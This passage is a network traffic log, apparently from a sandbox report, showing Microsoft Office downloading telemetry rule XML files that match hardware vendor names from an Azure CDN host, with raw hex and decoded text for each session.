Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120630" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120629" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
29	192.168.2.6	49739	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 16:59:15 UTC	192	OUT	GET /rules/rule120631v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 16:59:15 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 16:59:15 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B988EBD12" x-ms-request-id: 50755ed9-801e-00ac-015e-27fd65000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T165915Z-17c5cb586f6g6g2sa7kg5c0gg0000000022g00000000cx8b x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 16:59:15 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 48 68 5d 5b 55 75 5d 5b 41 61 5d 5b 57 77 5d 5b 45 65 5d 5b 49 69 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120631" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120629" /> <SR T="2" R="([Hh][Uu][Aa][Ww][Ee][Ii])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
30	192.168.2.6	49741	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 16:59:15 UTC	192	OUT	GET /rules/rule120633v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 16:59:15 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 16:59:15 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:29 GMT ETag: "0x8DC582BB32BB5CB" x-ms-request-id: fb99dfde-101e-0065-28dd-264088000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T165915Z-17c5cb586f6lxnvg801rcb3n8n00000006n000000000cd6n x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-29 16:59:15 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 53 73 5d 5b 41 61 5d 5b 4d 6d 5d 5b 53 73 5d 5b 55 75 5d 5b 4e 6e 5d 5b 47 67 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120633" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120631" /> <SR T="2" R="([Ss][Aa][Mm][Ss][Uu][Nn][Gg])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
31	192.168.2.6	49740	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 16:59:15 UTC	192	OUT	GET /rules/rule120632v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 16:59:15 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 16:59:15 GMT Content-Type: text/xml Content-Length: 471 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:33 GMT ETag: "0x8DC582BB5815C4C" x-ms-request-id: 46a88b53-101e-0017-7e74-2747c7000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T165915Z-16849878b7898p5f6vryaqvp5800000007rg0000000025mh x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-29 16:59:15 UTC	471	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120632" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120631" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
32	192.168.2.6	49742	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 16:59:15 UTC	192	OUT	GET /rules/rule120634v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 16:59:15 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 16:59:15 GMT Content-Type: text/xml Content-Length: 494 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:38 GMT ETag: "0x8DC582BB8972972" x-ms-request-id: 3a46b3a2-501e-008f-78cb-279054000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T165915Z-15b8d89586fst84kttks1s2css00000000g0000000000tqe x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-29 16:59:15 UTC	494	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120634" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120633" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
33	192.168.2.6	49743	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 16:59:16 UTC	192	OUT	GET /rules/rule120635v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 16:59:16 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 16:59:16 GMT Content-Type: text/xml Content-Length: 420 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:53 GMT ETag: "0x8DC582B9DAE3EC0" x-ms-request-id: 892d3b27-201e-005d-7649-27afb3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T165916Z-16849878b786lft2mu9uftf3y4000000083g000000008qv6 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 16:59:16 UTC	420	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 54 74 5d 5b 4f 6f 5d 5b 53 73 5d 5b 48 68 5d 5b 49 69 5d 5b 42 62 5d 5b 41 61 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120635" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120633" /> <SR T="2" R="^([Tt][Oo][Ss][Hh][Ii][Bb][Aa])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O

Session ID	Source IP	Source Port	Destination IP	Destination Port
34	192.168.2.6	49744	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 16:59:16 UTC	192	OUT	GET /rules/rule120636v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 16:59:16 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 16:59:16 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:52 GMT ETag: "0x8DC582B9D43097E" x-ms-request-id: d63b5638-a01e-0021-2ab4-27814c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T165916Z-16849878b78zqkvcwgr6h55x9n000000069000000000bgzg x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-29 16:59:16 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120636" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120635" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
35	192.168.2.6	49745	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 16:59:16 UTC	192	OUT	GET /rules/rule120637v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 16:59:16 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 16:59:16 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:12 GMT ETag: "0x8DC582BA909FA21" x-ms-request-id: 488bf4d4-001e-00a2-2656-26d4d5000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T165916Z-17c5cb586f6wnfhvhw6gvetfh400000006cg000000002ebp x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 16:59:16 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 50 70 5d 5b 41 61 5d 5b 4e 6e 5d 5b 41 61 5d 5b 53 73 5d 5b 4f 6f 5d 5b 4e 6e 5d 5b 49 69 5d 5b 43 63 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120637" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120635" /> <SR T="2" R="([Pp][Aa][Nn][Aa][Ss][Oo][Nn][Ii][Cc])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
36	192.168.2.6	49746	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 16:59:16 UTC	192	OUT	GET /rules/rule120638v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 16:59:16 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 16:59:16 GMT Content-Type: text/xml Content-Length: 486 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:35 GMT ETag: "0x8DC582B92FCB436" x-ms-request-id: 01fc617d-601e-000d-05a4-262618000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T165916Z-16849878b78zqkvcwgr6h55x9n000000065g00000000rqg9 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 16:59:16 UTC	486	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120638" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120637" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
37	192.168.2.6	49747	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 16:59:16 UTC	192	OUT	GET /rules/rule120639v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 16:59:16 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 16:59:16 GMT Content-Type: text/xml Content-Length: 423 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:36 GMT ETag: "0x8DC582BB7564CE8" x-ms-request-id: 214f201b-c01e-00ad-7c26-28a2b9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T165916Z-17c5cb586f6g6g2sa7kg5c0gg0000000024g000000007fkm x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 16:59:16 UTC	423	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 44 64 5d 5b 59 79 5d 5b 4e 6e 5d 5b 41 61 5d 5b 42 62 5d 5b 4f 6f 5d 5b 4f 6f 5d 5b 4b 6b 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120639" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120637" /> <SR T="2" R="([Dd][Yy][Nn][Aa][Bb][Oo][Oo][Kk])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0

Session ID	Source IP	Source Port	Destination IP	Destination Port
38	192.168.2.6	49748	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 16:59:17 UTC	192	OUT	GET /rules/rule120640v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 16:59:17 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 16:59:17 GMT Content-Type: text/xml Content-Length: 478 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:48 GMT ETag: "0x8DC582B9B233827" x-ms-request-id: a5807169-a01e-0032-6664-271949000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T165917Z-r197bdfb6b4skzzvqpzzd3xetg00000006b00000000015sq x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 16:59:17 UTC	478	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120640" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120639" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
39	192.168.2.6	49749	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 16:59:17 UTC	192	OUT	GET /rules/rule120641v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 16:59:17 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 16:59:17 GMT Content-Type: text/xml Content-Length: 404 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:39 GMT ETag: "0x8DC582B95C61A3C" x-ms-request-id: 5e2f3c3f-901e-0048-1b49-28b800000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T165917Z-17c5cb586f6wmhkn5q6fu8c5ss0000000660000000007w9c x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 16:59:17 UTC	404	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 4d 6d 5d 5b 53 73 5d 5b 49 69 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120641" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120639" /> <SR T="2" R="^([Mm][Ss][Ii])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <S

Session ID	Source IP	Source Port	Destination IP	Destination Port
40	192.168.2.6	49750	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 16:59:17 UTC	192	OUT	GET /rules/rule120642v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 16:59:17 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 16:59:17 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:24 GMT ETag: "0x8DC582BB046B576" x-ms-request-id: 0ce3105a-501e-0029-7cd2-26d0b8000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T165917Z-16849878b78qfbkc5yywmsbg0c00000006eg00000000kdxx x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
